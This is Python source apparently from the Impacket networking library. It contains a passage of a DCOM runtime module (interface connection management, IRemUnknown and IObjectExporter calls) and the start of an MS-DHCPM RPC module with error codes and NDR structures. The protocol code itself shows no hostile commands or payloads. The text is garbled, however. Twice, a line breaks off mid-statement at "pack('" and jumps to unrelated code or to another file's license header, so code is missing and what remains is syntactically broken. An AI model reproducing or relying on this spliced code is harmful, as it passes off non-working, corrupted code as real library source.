RPC_C_AUTHN_LEVEL_PKT_PRIVACY return self.__authLevel def set_auth_level(self, level): self.__authLevel = level def get_auth_type(self): return self.__authType def set_auth_type(self, authType): self.__authType = authType class INTERFACE: # class variable holding the transport connections, organized by target IP CONNECTIONS = {} def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None, interfaceInstance=None): if interfaceInstance is not None: self.__target = interfaceInstance.get_target() self.__iPid = interfaceInstance.get_iPid() self.__oid = interfaceInstance.get_oid() self.__oxid = interfaceInstance.get_oxid() self.__cinstance = interfaceInstance.get_cinstance() self.__objRef = interfaceInstance.get_objRef() self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown() else: if target is None: raise Exception('No target') self.__target = target self.__iPid = iPid self.__oid = oid self.__oxid = oxid self.__cinstance = cinstance self.__objRef = objRef self.__ipidRemUnknown = ipidRemUnknown # We gotta check if we have a container inside our connection list, if not, create if (self.__target in INTERFACE.CONNECTIONS) is not True: INTERFACE.CONNECTIONS[self.__target] = {} INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {} if objRef is not None: self.process_interface(objRef) def process_interface(self, data): objRefType = OBJREF(data)['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(data) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(data) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(data) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(data) else: LOG.error("Unknown OBJREF Type! 0x%x" % objRefType) if objRefType != FLAGS_OBJREF_CUSTOM: if objRef['std']['flags'] & SORF_NOPING == 0: DCOMConnection.addOid(self.__target, objRef['std']['oid']) self.__iPid = objRef['std']['ipid'] self.__oid = objRef['std']['oid'] self.__oxid = objRef['std']['oxid'] if self.__oxid is None: objRef.dump() raise Exception('OXID is None') def get_oxid(self): return self.__oxid def set_oxid(self, oxid): self.__oxid = oxid def get_oid(self): return self.__oid def set_oid(self, oid): self.__oid = oid def get_target(self): return self.__target def get_iPid(self): return self.__iPid def set_iPid(self, iPid): self.__iPid = iPid def get_objRef(self): return self.__objRef def set_objRef(self, objRef): self.__objRef = objRef def get_ipidRemUnknown(self): return self.__ipidRemUnknown def get_dce_rpc(self): return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] def get_cinstance(self): return self.__cinstance def set_cinstance(self, cinstance): self.__cinstance = cinstance def is_fqdn(self): # I will assume the following # If I can't socket.inet_aton() then it's not an IPv4 address # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be # an FQDN with ':' # Is it isn't both, then it is a FQDN try: socket.inet_aton(self.__target) except: # Not an IPv4 try: self.__target.index(':') except: # Not an IPv6, it's a FQDN return True return False def connect(self, iid = None): if (self.__target in INTERFACE.CONNECTIONS) is True: if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \ (self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True: dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] if currentBinding == iid: # We don't need to alter_ctx pass else: newDce = dce.alter_ctx(iid) INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid else: stringBindings = self.get_cinstance().get_string_bindings() # No OXID present, we should create a new connection and store it stringBinding = None isTargetFQDN = self.is_fqdn() LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN)) for strBinding in stringBindings: # Here, depending on the get_target() value several things can happen # 1) it's an IPv4 address # 2) it's an IPv6 address # 3) it's a NetBios Name # we should handle all this cases accordingly # Does this match exactly what get_target() returns? LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr']) if strBinding['wTowerId'] == 7: # If there's port information, let's strip it for now. if strBinding['aNetworkAddr'].find('[') >= 0: binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[') bindingPort = '[' + bindingPort else: binding = strBinding['aNetworkAddr'] bindingPort = '' if binding.upper().find(self.get_target().upper()) >= 0: stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] break # If get_target() is a FQDN, does it match the hostname? elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: # Here we replace the aNetworkAddr with self.get_target() # This is to help resolving the target system name. # self.get_target() has been resolved already otherwise we wouldn't be here whereas # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver # with the right suffixes it will probably not resolve right. stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort) break LOG.debug('StringBinding chosen: %s' % stringBinding) if stringBinding is None: # Something wen't wrong, let's just report it raise Exception('Can\'t find a valid stringBinding to connect') dcomInterface = transport.DCERPCTransportFactory(stringBinding) if hasattr(dcomInterface, 'set_credentials'): # This method exists only for selected protocol sequences. dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(), DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost()) dcomInterface.set_connect_timeout(300) dce = dcomInterface.get_dce_rpc() if iid is None: raise Exception('IID is None') else: dce.set_auth_level(self.__cinstance.get_auth_level()) dce.set_auth_type(self.__cinstance.get_auth_type()) dce.connect() if iid is None: raise Exception('IID is None') else: dce.bind(iid) if self.__oxid is None: #import traceback #traceback.print_stack() raise Exception("OXID NONE, something wrong!!!") INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {} INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {} INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid else: # No connection created raise Exception('No connection created') def request(self, req, iid = None, uuid = None): req['ORPCthis'] = self.get_cinstance().get_ORPCthis() req['ORPCthis']['flags'] = 0 self.connect(iid) dce = self.get_dce_rpc() try: resp = dce.request(req, uuid) except Exception as e: if str(e).find('RPC_E_DISCONNECTED') >= 0: msg = str(e) + '\n' msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n" msg += "You should exit the app and start again\n" raise DCERPCException(msg) else: raise return resp def disconnect(self): return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect() # 3.1.1.5.6.1 IRemUnknown Methods class IRemUnknown(INTERFACE): def __init__(self, interface): self._iid = IID_IRemUnknown #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(), # interface.get_iPid(), target=interface.get_target()) INTERFACE.__init__(self, interfaceInstance=interface) self.set_oxid(interface.get_oxid()) def RemQueryInterface(self, cRefs, iids): # For now, it only supports a single IID request = RemQueryInterface() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['ripid'] = self.get_iPid() request['cRefs'] = cRefs request['cIids'] = len(iids) for iid in iids: _iid = IID() _iid['Data'] = iid request['iids'].append(_iid) resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) #resp.dump() return IRemUnknown2( INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'], oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'], target=self.get_target())) def RemAddRef(self): request = RemAddRef() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['cInterfaceRefs'] = 1 element = REMINTERFACEREF() element['ipid'] = self.get_iPid() element['cPublicRefs'] = 1 request['InterfaceRefs'].append(element) resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) return resp def RemRelease(self): request = RemRelease() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['cInterfaceRefs'] = 1 element = REMINTERFACEREF() element['ipid'] = self.get_iPid() element['cPublicRefs'] = 1 request['InterfaceRefs'].append(element) resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) DCOMConnection.delOid(self.get_target(), self.get_oid()) return resp # 3.1.1.5.7 IRemUnknown2 Interface class IRemUnknown2(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self, interface) self._iid = IID_IRemUnknown2 # 3.1.2.5.1 IObjectExporter Methods class IObjectExporter: def __init__(self, dce): self.__portmap = dce # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0) def ResolveOxid(self, pOxid, arRequestedProtseqs): self.__portmap.connect() self.__portmap.bind(IID_IObjectExporter) request = ResolveOxid() request['pOxid'] = pOxid request['cRequestedProtseqs'] = len(arRequestedProtseqs) for protSeq in arRequestedProtseqs: request['arRequestedProtseqs'].append(protSeq) resp = self.__portmap.request(request) Oxids = b''.join(pack(' 0: for oid in addToSet: oidn = OID() oidn['Data'] = oid request['AddToSet'].append(oidn) else: request['AddToSet'] = NULL if len(delFromSet) > 0: for oid in delFromSet: oidn = OID() oidn['Data'] = oid request['DelFromSet'].append(oidn) else: request['DelFromSet'] = NULL resp = self.__portmap.request(request) return resp # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3) def ServerAlive(self): self.__portmap.connect() self.__portmap.bind(IID_IObjectExporter) request = ServerAlive() resp = self.__portmap.request(request) return resp # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4) def ResolveOxid2(self,pOxid, arRequestedProtseqs): self.__portmap.connect() self.__portmap.bind(IID_IObjectExporter) request = ResolveOxid2() request['pOxid'] = pOxid request['cRequestedProtseqs'] = len(arRequestedProtseqs) for protSeq in arRequestedProtseqs: request['arRequestedProtseqs'].append(protSeq) resp = self.__portmap.request(request) Oxids = b''.join(pack('. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from impacket import system_errors from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, NULL, DWORD, BOOL, BYTE, LPDWORD, WORD from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRENUM, NDRUNION from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.enum import Enum from impacket.uuid import uuidtup_to_bin MSRPC_UUID_DHCPSRV = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F874532D', '1.0')) MSRPC_UUID_DHCPSRV2 = uuidtup_to_bin(('5B821720-F63B-11D0-AAD2-00C04FC324DB', '1.0')) ################################################################################ # CONSTANTS ################################################################################ DHCP_SRV_HANDLE = LPWSTR DHCP_IP_ADDRESS = DWORD DHCP_IP_MASK = DWORD DHCP_OPTION_ID = DWORD # DHCP enumeratiom flags DHCP_FLAGS_OPTION_DEFAULT = 0x00000000 DHCP_FLAGS_OPTION_IS_VENDOR = 0x00000003 # Errors ERROR_DHCP_REGISTRY_INIT_FAILED = 0x00004E20 ERROR_DHCP_DATABASE_INIT_FAILED = 0x00004E21 ERROR_DHCP_RPC_INIT_FAILED = 0x00004E22 ERROR_DHCP_NETWORK_INIT_FAILED = 0x00004E23 ERROR_DHCP_SUBNET_EXITS = 0x00004E24 ERROR_DHCP_SUBNET_NOT_PRESENT = 0x00004E25 ERROR_DHCP_PRIMARY_NOT_FOUND = 0x00004E26 ERROR_DHCP_ELEMENT_CANT_REMOVE = 0x00004E27 ERROR_DHCP_OPTION_EXITS = 0x00004E29 ERROR_DHCP_OPTION_NOT_PRESENT = 0x00004E2A ERROR_DHCP_ADDRESS_NOT_AVAILABLE = 0x00004E2B ERROR_DHCP_RANGE_FULL = 0x00004E2C ERROR_DHCP_JET_ERROR = 0x00004E2D ERROR_DHCP_CLIENT_EXISTS = 0x00004E2E ERROR_DHCP_INVALID_DHCP_MESSAGE = 0x00004E2F ERROR_DHCP_INVALID_DHCP_CLIENT = 0x00004E30 ERROR_DHCP_SERVICE_PAUSED = 0x00004E31 ERROR_DHCP_NOT_RESERVED_CLIENT = 0x00004E32 ERROR_DHCP_RESERVED_CLIENT = 0x00004E33 ERROR_DHCP_RANGE_TOO_SMALL = 0x00004E34 ERROR_DHCP_IPRANGE_EXITS = 0x00004E35 ERROR_DHCP_RESERVEDIP_EXITS = 0x00004E36 ERROR_DHCP_INVALID_RANGE = 0x00004E37 ERROR_DHCP_RANGE_EXTENDED = 0x00004E38 ERROR_EXTEND_TOO_SMALL = 0x00004E39 WARNING_EXTENDED_LESS = 0x00004E3A ERROR_DHCP_JET_CONV_REQUIRED = 0x00004E3B ERROR_SERVER_INVALID_BOOT_FILE_TABLE = 0x00004E3C ERROR_SERVER_UNKNOWN_BOOT_FILE_NAME = 0x00004E3D ERROR_DHCP_SUPER_SCOPE_NAME_TOO_LONG = 0x00004E3E ERROR_DHCP_IP_ADDRESS_IN_USE = 0x00004E40 ERROR_DHCP_LOG_FILE_PATH_TOO_LONG = 0x00004E41 ERROR_DHCP_UNSUPPORTED_CLIENT = 0x00004E42 ERROR_DHCP_JET97_CONV_REQUIRED = 0x00004E44 ERROR_DHCP_ROGUE_INIT_FAILED = 0x00004E45 ERROR_DHCP_ROGUE_SAMSHUTDOWN = 0x00004E46 ERROR_DHCP_ROGUE_NOT_AUTHORIZED = 0x00004E47 ERROR_DHCP_ROGUE_DS_UNREACHABLE = 0x00004E48 ERROR_DHCP_ROGUE_DS_CONFLICT = 0x00004E49 ERROR_DHCP_ROGUE_NOT_OUR_ENTERPRISE = 0x00004E4A ERROR_DHCP_ROGUE_STANDALONE_IN_DS = 0x00004E4B ERROR_DHCP_CLASS_NOT_FOUND = 0x00004E4C ERROR_DHCP_CLASS_ALREADY_EXISTS = 0x00004E4D ERROR_DHCP_SCOPE_NAME_TOO_LONG = 0x00004E4E ERROR_DHCP_DEFAULT_SCOPE_EXITS = 0x00004E4F ERROR_DHCP_CANT_CHANGE_ATTRIBUTE = 0x00004E50 ERROR_DHCP_IPRANGE_CONV_ILLEGAL = 0x00004E51 ERROR_DHCP_NETWORK_CHANGED = 0x00004E52 ERROR_DHCP_CANNOT_MODIFY_BINDINGS = 0x00004E53 ERROR_DHCP_SUBNET_EXISTS = 0x00004E54 ERROR_DHCP_MSCOPE_EXISTS = 0x00004E55 ERROR_MSCOPE_RANGE_TOO_SMALL = 0x00004E56 ERROR_DHCP_EXEMPTION_EXISTS = 0x00004E57 ERROR_DHCP_EXEMPTION_NOT_PRESENT = 0x00004E58 ERROR_DHCP_INVALID_PARAMETER_OPTION32 = 0x00004E59 ERROR_DDS_NO_DS_AVAILABLE = 0x00004E66 ERROR_DDS_NO_DHCP_ROOT = 0x00004E67 ERROR_DDS_UNEXPECTED_ERROR = 0x00004E68 ERROR_DDS_TOO_MANY_ERRORS = 0x00004E69 ERROR_DDS_DHCP_SERVER_NOT_FOUND = 0x00004E6A ERROR_DDS_OPTION_ALREADY_EXISTS = 0x00004E6B ERROR_DDS_OPTION_DOES_NOT_EXIST = 0x00004E6C ERROR_DDS_CLASS_EXISTS = 0x00004E6D ERROR_DDS_CLASS_DOES_NOT_EXIST = 0x00004E6E ERROR_DDS_SERVER_ALREADY_EXISTS = 0x00004E6F ERROR_DDS_SERVER_DOES_NOT_EXIST = 0x00004E70 ERROR_DDS_SERVER_ADDRESS_MISMATCH = 0x00004E71 ERROR_DDS_SUBNET_EXISTS = 0x00004E72 ERROR_DDS_SUBNET_HAS_DIFF_SSCOPE = 0x00004E73 ERROR_DDS_SUBNET_NOT_PRESENT = 0x00004E74 ERROR_DDS_RESERVATION_NOT_PRESENT = 0x00004E75 ERROR_DDS_RESERVATION_CONFLICT = 0x00004E76 ERROR_DDS_POSSIBLE_RANGE_CONFLICT = 0x00004E77 ERROR_DDS_RANGE_DOES_NOT_EXIST = 0x00004E78 ERROR_DHCP_DELETE_BUILTIN_CLASS = 0x00004E79 ERROR_DHCP_INVALID_SUBNET_PREFIX = 0x00004E7B ERROR_DHCP_INVALID_DELAY = 0x00004E7C ERROR_DHCP_LINKLAYER_ADDRESS_EXISTS = 0x00004E7D ERROR_DHCP_LINKLAYER_ADDRESS_RESERVATION_EXISTS = 0x00004E7E ERROR_DHCP_LINKLAYER_ADDRESS_DOES_NOT_EXIST = 0x00004E7F ERROR_DHCP_HARDWARE_ADDRESS_TYPE_ALREADY_EXEMPT = 0x00004E85 ERROR_DHCP_UNDEFINED_HARDWARE_ADDRESS_TYPE = 0x00004E86 ERROR_DHCP_OPTION_TYPE_MISMATCH = 0x00004E87 ERROR_DHCP_POLICY_BAD_PARENT_EXPR = 0x00004E88 ERROR_DHCP_POLICY_EXISTS = 0x00004E89 ERROR_DHCP_POLICY_RANGE_EXISTS = 0x00004E8A ERROR_DHCP_POLICY_RANGE_BAD = 0x00004E8B ERROR_DHCP_RANGE_INVALID_IN_SERVER_POLICY = 0x00004E8C ERROR_DHCP_INVALID_POLICY_EXPRESSION = 0x00004E8D ERROR_DHCP_INVALID_PROCESSING_ORDER = 0x00004E8E ERROR_DHCP_POLICY_NOT_FOUND = 0x00004E8F ERROR_SCOPE_RANGE_POLICY_RANGE_CONFLICT = 0x00004E90 # DHCP failover error codes ERROR_DHCP_FO_SCOPE_ALREADY_IN_RELATIONSHIP = 0x00004E91 ERROR_DHCP_FO_RELATIONSHIP_EXISTS = 0x00004E92 ERROR_DHCP_FO_RELATIONSHIP_DOES_NOT_EXIST = 0x00004E93 ERROR_DHCP_FO_SCOPE_NOT_IN_RELATIONSHIP = 0x00004E94 ERROR_DHCP_FO_RELATION_IS_SECONDARY = 0x00004E95 ERROR_DHCP_FO_NOT_SUPPORTED = 0x00004E96 ERROR_DHCP_FO_TIME_OUT_OF_SYNC = 0x00004E97 ERROR_DHCP_FO_STATE_NOT_NORMAL = 0x00004E98 ERROR_DHCP_NO_ADMIN_PERMISSION = 0x00004E99 ERROR_DHCP_SERVER_NOT_REACHABLE = 0x00004E9A ERROR_DHCP_SERVER_NOT_RUNNING = 0x00004E9B ERROR_DHCP_SERVER_NAME_NOT_RESOLVED = 0x00004E9C ERROR_DHCP_FO_RELATIONSHIP_NAME_TOO_LONG = 0x00004E9D ERROR_DHCP_REACHED_END_OF_SELECTION = 0x00004E9E ERROR_DHCP_FO_ADDSCOPE_LEASES_NOT_SYNCED = 0x00004E9F ERROR_DHCP_FO_MAX_RELATIONSHIPS = 0x00004EA0 ERROR_DHCP_FO_IPRANGE_TYPE_CONV_ILLEGAL = 0x00004EA1 ERROR_DHCP_FO_MAX_ADD_SCOPES = 0x00004EA2 ERROR_DHCP_FO_BOOT_NOT_SUPPORTED = 0x00004EA3 ERROR_DHCP_FO_RANGE_PART_OF_REL = 0x00004EA4 ERROR_DHCP_FO_SCOPE_SYNC_IN_PROGRESS = 0x00004EA5 ERROR_DHCP_FO_FEATURE_NOT_SUPPORTED = 0x00004EA6 ERROR_DHCP_POLICY_FQDN_RANGE_UNSUPPORTED = 0x00004EA7 ERROR_DHCP_POLICY_FQDN_OPTION_UNSUPPORTED = 0x00004EA8 ERROR_DHCP_POLICY_EDIT_FQDN_UNSUPPORTED = 0x00004EA9 ERROR_DHCP_NAP_NOT_SUPPORTED = 0x00004EAA ERROR_LAST_DHCP_SERVER_ERROR = 0x00004EAB class DCERPCSessionError(DCERPCException): ERROR_MESSAGES = { ERROR_DHCP_JET_ERROR: ("ERROR_DHCP_JET_ERROR", "An error occurred while accessing the DHCP server database."), ERROR_DHCP_SUBNET_NOT_PRESENT: ("ERROR_DHCP_SUBNET_NOT_PRESENT", "The specified IPv4 subnet does not exist."), ERROR_DHCP_SUBNET_EXISTS: ("ERROR_DHCP_SUBNET_EXISTS", "The IPv4 scope parameters are incorrect. Either the IPv4 scope already" " exists, corresponding to the SubnetAddress and SubnetMask members of " "the structure DHCP_SUBNET_INFO (section 2.2.1.2.8), or there is a " "range overlap of IPv4 addresses between those associated with the " "SubnetAddress and SubnetMask fields of the new IPv4 scope and the " "subnet address and mask of an already existing IPv4 scope"), ERROR_DHCP_INVALID_DHCP_CLIENT: ("ERROR_DHCP_INVALID_DHCP_CLIENT", "The DHCP server received an invalid message from the client."), } def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) elif key in self.ERROR_MESSAGES: error_msg_short = self.ERROR_MESSAGES[key][0] error_msg_verbose = self.ERROR_MESSAGES[key][1] return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'DHCPM SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # STRUCTURES ################################################################################ # 2.2.1.1.3 DHCP_SEARCH_INFO_TYPE class DHCP_SEARCH_INFO_TYPE(NDRENUM): class enumItems(Enum): DhcpClientIpAddress = 0 DhcpClientHardwareAddress = 1 DhcpClientName = 2 # 2.2.1.1.11 QuarantineStatus class QuarantineStatus(NDRENUM): class enumItems(Enum): NOQUARANTINE = 0 RESTRICTEDACCESS = 1 DROPPACKET = 2 PROBATION = 3 EXEMPT = 4 DEFAULTQUARSETTING = 5 NOQUARINFO = 6 # 2.2.1.2.7 DHCP_HOST_INFO class DHCP_HOST_INFO(NDRSTRUCT): structure = ( ('IpAddress', DHCP_IP_ADDRESS), ('NetBiosName', LPWSTR), ('HostName', LPWSTR), ) # 2.2.1.2.9 DHCP_BINARY_DATA class BYTE_ARRAY(NDRUniConformantArray): item = 'c' class PBYTE_ARRAY(NDRPOINTER): referent = ( ('Data', BYTE_ARRAY), ) class DHCP_BINARY_DATA(NDRSTRUCT): structure = ( ('DataLength', DWORD), ('Data_', PBYTE_ARRAY), ) DHCP_CLIENT_UID = DHCP_BINARY_DATA # 2.2.1.2.11 DATE_TIME class DATE_TIME(NDRSTRUCT): structure = ( ('dwLowDateTime', DWORD), ('dwHighDateTime', DWORD), ) # 2.2.1.2.19 DHCP_CLIENT_INFO_VQ class DHCP_CLIENT_INFO_VQ(NDRSTRUCT): structure = ( ('ClientIpAddress', DHCP_IP_ADDRESS), ('SubnetMask', DHCP_IP_MASK), ('ClientHardwareAddress', DHCP_CLIENT_UID), ('ClientName', LPWSTR), ('ClientComment', LPWSTR), ('ClientLeaseExpires', DATE_TIME), ('OwnerHost', DHCP_HOST_INFO), ('bClientType', BYTE), ('AddressState', BYTE), ('Status', QuarantineStatus), ('ProbationEnds', DATE_TIME), ('QuarantineCapable', BOOL), ) class DHCP_CLIENT_SEARCH_UNION(NDRUNION): union = { DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress: ('ClientIpAddress', DHCP_IP_ADDRESS), DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: ('ClientHardwareAddress', DHCP_CLIENT_UID), DHCP_SEARCH_INFO_TYPE.DhcpClientName: ('ClientName', LPWSTR), } class DHCP_SEARCH_INFO(NDRSTRUCT): structure = ( ('SearchType', DHCP_SEARCH_INFO_TYPE), ('SearchInfo', DHCP_CLIENT_SEARCH_UNION), ) # 2.2.1.2.14 DHCP_CLIENT_INFO_V4 class DHCP_CLIENT_INFO_V4(NDRSTRUCT): structure = ( ('ClientIpAddress', DHCP_IP_ADDRESS), ('SubnetMask', DHCP_IP_MASK), ('ClientHardwareAddress', DHCP_CLIENT_UID), ('ClientName', LPWSTR), ('ClientComment', LPWSTR), ('ClientLeaseExpires', DATE_TIME), ('OwnerHost', DHCP_HOST_INFO), ('bClientType', BYTE), ) class DHCP_CLIENT_INFO_V5(NDRSTRUCT): structure = ( ('ClientIpAddress', DHCP_IP_ADDRESS), ('SubnetMask', DHCP_IP_MASK), ('ClientHardwareAddress', DHCP_CLIENT_UID), ('ClientName', LPWSTR), ('ClientComment', LPWSTR), ('ClientLeaseExpires', DATE_TIME), ('OwnerHost', DHCP_HOST_INFO), ('bClientType', BYTE), ('AddressState', BYTE), ) class LPDHCP_CLIENT_INFO_V4(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_V4), ) class LPDHCP_CLIENT_INFO_V5(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_V5), ) # 2.2.1.2.115 DHCP_CLIENT_INFO_PB class DHCP_CLIENT_INFO_PB(NDRSTRUCT): structure = ( ('ClientIpAddress', DHCP_IP_ADDRESS), ('SubnetMask', DHCP_IP_MASK), ('ClientHardwareAddress', DHCP_CLIENT_UID), ('ClientName', LPWSTR), ('ClientComment', LPWSTR), ('ClientLeaseExpires', DATE_TIME), ('OwnerHost', DHCP_HOST_INFO), ('bClientType', BYTE), ('AddressState', BYTE), ('Status', QuarantineStatus), ('ProbationEnds', DATE_TIME), ('QuarantineCapable', BOOL), ('FilterStatus', DWORD), ('PolicyName', LPWSTR), ) class LPDHCP_CLIENT_INFO_PB(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_PB), ) class LPDHCP_CLIENT_INFO_VQ(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_VQ), ) class DHCP_CLIENT_INFO_VQ_ARRAY(NDRUniConformantArray): item = LPDHCP_CLIENT_INFO_VQ class LPDHCP_CLIENT_INFO_VQ_ARRAY(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_VQ_ARRAY), ) class DHCP_CLIENT_INFO_ARRAY_VQ(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Clients', LPDHCP_CLIENT_INFO_VQ_ARRAY), ) class LPDHCP_CLIENT_INFO_ARRAY_VQ(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_ARRAY_VQ), ) class DHCP_CLIENT_INFO_V4_ARRAY(NDRUniConformantArray): item = LPDHCP_CLIENT_INFO_V4 class DHCP_CLIENT_INFO_V5_ARRAY(NDRUniConformantArray): item = LPDHCP_CLIENT_INFO_V5 class LPDHCP_CLIENT_INFO_V4_ARRAY(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_V4_ARRAY), ) class LPDHCP_CLIENT_INFO_V5_ARRAY(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_V5_ARRAY), ) class DHCP_CLIENT_INFO_ARRAY_V4(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Clients', LPDHCP_CLIENT_INFO_V4_ARRAY), ) class DHCP_CLIENT_INFO_ARRAY_V5(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Clients', LPDHCP_CLIENT_INFO_V5_ARRAY), ) class LPDHCP_CLIENT_INFO_ARRAY_V5(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_ARRAY_V5), ) class LPDHCP_CLIENT_INFO_ARRAY_V4(NDRPOINTER): referent = ( ('Data', DHCP_CLIENT_INFO_ARRAY_V4), ) class DHCP_IP_ADDRESS_ARRAY(NDRUniConformantArray): item = DHCP_IP_ADDRESS class LPDHCP_IP_ADDRESS_ARRAY(NDRPOINTER): referent = ( ('Data', DHCP_IP_ADDRESS_ARRAY), ) class DHCP_IP_ARRAY(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Elements', LPDHCP_IP_ADDRESS_ARRAY), ) class DHCP_SUBNET_STATE(NDRENUM): class enumItems(Enum): DhcpSubnetEnabled = 0 DhcpSubnetDisabled = 1 DhcpSubnetEnabledSwitched = 2 DhcpSubnetDisabledSwitched = 3 DhcpSubnetInvalidState = 4 class DHCP_SUBNET_INFO(NDRSTRUCT): structure = ( ('SubnetAddress', DHCP_IP_ADDRESS), ('SubnetMask', DHCP_IP_MASK), ('SubnetName', LPWSTR), ('SubnetComment', LPWSTR), ('PrimaryHost', DHCP_HOST_INFO), ('SubnetState', DHCP_SUBNET_STATE), ) class LPDHCP_SUBNET_INFO(NDRPOINTER): referent = ( ('Data', DHCP_SUBNET_INFO), ) class DHCP_OPTION_SCOPE_TYPE(NDRENUM): class enumItems(Enum): DhcpDefaultOptions = 0 DhcpGlobalOptions = 1 DhcpSubnetOptions = 2 DhcpReservedOptions = 3 DhcpMScopeOptions = 4 class DHCP_RESERVED_SCOPE(NDRSTRUCT): structure = ( ('ReservedIpAddress', DHCP_IP_ADDRESS), ('ReservedIpSubnetAddress', DHCP_IP_ADDRESS), ) class DHCP_OPTION_SCOPE_UNION(NDRUNION): union = { DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions : (), DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions : (), DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions : ('SubnetScopeInfo', DHCP_IP_ADDRESS), DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions : ('ReservedScopeInfo', DHCP_RESERVED_SCOPE), DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions : ('MScopeInfo', LPWSTR), } class DHCP_OPTION_SCOPE_INFO(NDRSTRUCT): structure = ( ('ScopeType', DHCP_OPTION_SCOPE_TYPE), ('ScopeInfo', DHCP_OPTION_SCOPE_UNION), ) class LPDHCP_OPTION_SCOPE_INFO(NDRPOINTER): referent = ( ('Data', DHCP_OPTION_SCOPE_INFO) ) class DWORD_DWORD(NDRSTRUCT): structure = ( ('DWord1', DWORD), ('DWord2', DWORD), ) class DHCP_BOOTP_IP_RANGE(NDRSTRUCT): structure = ( ('StartAddress', DHCP_IP_ADDRESS), ('EndAddress', DHCP_IP_ADDRESS), ('BootpAllocated', ULONG), ('MaxBootpAllowed', DHCP_IP_ADDRESS), 